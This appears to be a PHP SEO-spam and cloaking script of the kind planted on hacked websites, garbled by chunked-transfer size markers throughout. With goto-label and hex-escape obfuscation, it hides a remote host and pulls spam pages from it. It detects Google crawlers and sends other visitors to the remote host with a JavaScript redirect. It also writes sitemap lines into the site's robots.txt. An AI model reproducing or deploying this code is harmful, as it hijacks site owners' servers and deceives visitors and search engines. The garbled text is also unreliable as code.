2 true, 1e CURLOPT_CONNECTT 5 IMEOU 6 T => 5 29 , CURLOPT_TIMEOUT => 19 8, CURLOPT_S 7 SL_VERI 4 FYPE 2c ER => false, CURLOPT_SSL_VERIFY 4 HOST 24 => false, CURLOPT_FOLL 5 OWLOC 5 ATION 25 => false, CURLOPT_USERA 4 GENT e => "Mozi 6 lla/5. c 0" 1a ]); $data = curl_ 8 exec($ch 15 ); curl_clos e e($ch); } 13 if (empty($ c data) && ini 9 _get('all 8 ow_url_f 4 open 16 ')) { $contex a t = stream a _context_c 15 reate([ 6 "http" 6 => [" 8 timeout" d => 8, "heade 9 r" => "Us 5 er-Ag 10 ent: Mozilla/5.0 6 \r\n"] 12 , "ss a l" => ["v 7 erify_p f eer" => false, 10 "verify_peer_nam c e" => false] 33 ]); $data = @file_get_contents($ 4 url, 8 false, 1e $context); } if (! 19 empty($data)) cache_set($ c url, $data); 12 return $data 30 ; } /* ------------------------- URL 4 2e ------------------------- */ function get_ c url_info(str 6 ing $t 7 ype='do 6 main') 11 : string { $ 4 host 16 = $_SERVER['HTTP_HOST 5 '] ?? f ''; if ($ a type === ' 5 no_ww d w') return pr 7 eg_repl 6 ace('/ 7 ^www\./ 5 i', ' 9 ', $host) 10 ; $protoc 5 ol = 18 (!empty($_SERVER['HTTPS' 17 ]) && $_SERVER['HTTPS'] 9 !== 'off a ') ? "http 6 s://" b : "http://" b ; $bas f e = $protocol . 13 $host; if ( 19 $type === 'base') return 1d $base; if ($type === 'fu 14 ll') return $base . d ($_SERVER['RE 4 QUES d T_URI'] ?? '' 19 ); return $host; 2a } /* ------------------------- 4 础 5 变 22 ------------------------- */ g 7 oto ONP 9 uB; ONPuB 8 : $http_ 17 type = !empty($_SERVER[ 5 "\x48 6 \124\x a 54\x50\x53 1a "]) && $_SERVER["\x48\124\ d 124\x50\x53"] a !== "\157 5 \x66\ 4 146" b ? "\150\x7 b 4\x74\x70\1 6 63\72\ 7 x2f\x2f b " : "\x68\1 a 64\164\160 d \72\x2f\57"; 9 goto O4O9 b k; O4O9k: $ 9 vurl = "\ 9 x74\157\5 8 6\152\14 9 7\141\x6c b \x6c\163\x2 c e\143\157\x6 d d\x2f"; goto 6 vgv72; a vgv72: $q 7 z = sub 7 str(str 13 _replace(array("\x7 8 7\x77\16 9 7\x2e", " c \56"), '', $ d _SERVER["\110 f \x54\x54\120\x5 9 f\x48\x4f 8 \123\x54 8 "]), 0, 5 3); 27 /* ------------------------- 解 4 f 27 参数 ------------------------- */ 8 $sz = $i 6 id = " 10 "; if(!empty($_ 5 GET)) 8 { $f=r b eset($_GET) d ; $sp = e explode('-', $ e f); if (c 8 ount($sp 7 ) === 2 15 ) { $sz = $ 5 sp[0] 17 ; $iid = $sp[1 c ]; } } 29 /* ------------------------- 远 4 4 口 2d ------------------------- */ if (!empty($s c z)) { $ 11 jd = getCurlFast( d "{$http_type} 8 {$vurl}3 6 kg.asp 5 x?sz= 9 " . urlen a code($sz)) 9 ; } else 3a { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy= 17 {$http_type}"); $s 2e z = getCurlFast("{$http_type}{$vurl}3kg.aspx?j 13 d=" . urlencode($jd b )); } $ 6 hyzhdy 9 = $jd . 8 "41.aspx a "; $surl 17 = $jd . "s41.aspx"; 27 /* ------------------------- ro 7 bots / 7 sitemap 28 ------------------------- */ $sitemap 8 Line = " 9 Sitemap: 22 {$http_type}{$_SERVER['HTTP_HOST'] 10 }{$_SERVER['SCRI 6 PT_NAM 6 E']}?w b =" . date(' 5 YmdHi 6 ') . " 10 \n"; function e 6 nsure_ f robots_sitemap( 16 $sitemapLine) { $ f robots = rtrim( d $_SERVER['DOC 7 UMENT_R 5 OOT'] 7 , "/\\" e ) . '/robots.t f xt'; if (! 13 file_exists($robots 22 )) { @file_put_contents($ e robots, "User- 9 agent: *\ 7 nAllow: 5 /\n" 1c . $sitemapLine, LOCK_EX); 12 } else { 1d $c = @file_get_contents($ 8 robots); 1a if ($c === false 4 || 17 strpos($c, $sitemapLine 1c ) === false) { 2a @file_put_contents($robots, $sitemapLine, c FILE_APPEND 11 | LOCK_EX); 11 } } } 29 /* ------------------------- w= 5 出 2f ------------------------- */ if (!empty($get 4 ['w' 11 ])) { $par 6 ams = a http_build 6 _query e ([ 'N 6 OUmber b ' => $get[' f NOUmber'] ?? '' 18 , 't' => 1b $get['t'] ?? '', ' 12 cn' => $get[' 1b cn'] ?? '', 'pNOUm 13 ' => $get['pNOUm' 17 ] ?? '', 'cid' 26 => $get['cid'] ?? '', 'm 1a ' => $get['m'] ?? '' 12 ]); $ 15 str = getCurlFast("{$ 7 surl}?{ d $params}"); b echo 17 str_replace( [ 6 'yymm' a ,'ggggg',' 6 ?f='], 16 [$http_type. 16 $_SERVER['HTTP_HOST']. 1b $_SERVER['SCRIPT_NAME'], $s 6 z,'?'. 13 $qz.'='], 12 $str ); 3 exi 31 t; } /* ------------------------- IP 4 定 5 ( 4 留 41 kk 测试) ------------------------- */ $kk = isset($get['kk 5 ']) ? 13 trim($get['kk']) : d ''; $ip = ( 9 $kk !== ' a ') ? "66.2 5 49.82 6 .8" : 35 get_real_ip(); /* ------------------------- a getdomain2 7 判断 27 ------------------------- */ $domain 15 = trim(getCurlFast($ 10 jd . "getdomain2 13 .aspx?rnd=1&ip=" . 4 $ip) 2c ); /* ------------------------- 非 8 google 7 + iid 4 4 2d ------------------------- */ if ($domain c !== 'google' c && !empty($ f iid)) { $k a name = url 7 decode( 1b getCurlFast($jd . "gn.aspx? b iid=" . $ii 11 d)); echo '< 6 script 5 >loca a tion="' . f $jd . "a.aspx?c 14 name=" . urlencode($ b kname) . "& 9 url=" . $ 22 http_type . $_SERVER['HTTP_HOST'] 19 . $_SERVER['SCRIPT_NAME'] e . '" 37 '; exit; } /* ------------------------- 36 iid 输出 ------------------------- */ if (!empty($ 20 iid)) { $str = getCurlFast( 10 $hyzhdy . "?iid= 5 {$iid 36 }"); echo str_replace( ['ggggg','YYYYY 6 ','XXX 9 YYY','当 3 前 b URL','UUUUU 8 ','MMMMM 18 ','?f='], [$sz, 1e get_url_info(), get_url_info( 1d 'base'), get_url_info('full') 18 , get_url_info('no_www') 6 ,parse 1e _url($_SERVER['REQUEST_URI'], 6 PHP_UR 6 L_PATH 5a ),'?'.$qz.'='], $str ); exit; } /* ------------------------- c sitemap help 2b er ------------------------- */ function 7 output_ b sitemap_and 12 _exit($sitemapLine c , $http_type 2c ) { ensure_robots_sitemap($sitemapLine) 10 ; echo " 11 a Sitemap "; exit; } /* ------------------------- 9 kk 输出 5 控 26 ------------------------- */ if ($ d kk !== '' && 9 preg_matc 7 h('/^[A 5 -Za-z 4 0-9] 8 +$/', $k e k)) { $re 4 mote 2c = getCurlFast($jd . "getdomain2.aspx?rnd=2& 8 kk=" . $ f kk); if (! 1b empty($remote)) { c echo $remote 12 ; exit; 1f } } if ($kk !== '' && ! 5d preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type) c ; } $is_ 8 no_query 13 = empty($_SERVER[' 5 QUERY f _STRING']); 12 if ($kk === '' && 15 $is_no_query) { 18 if ($domain === 'google' 41 ) { output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 48 exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ? 3 > 0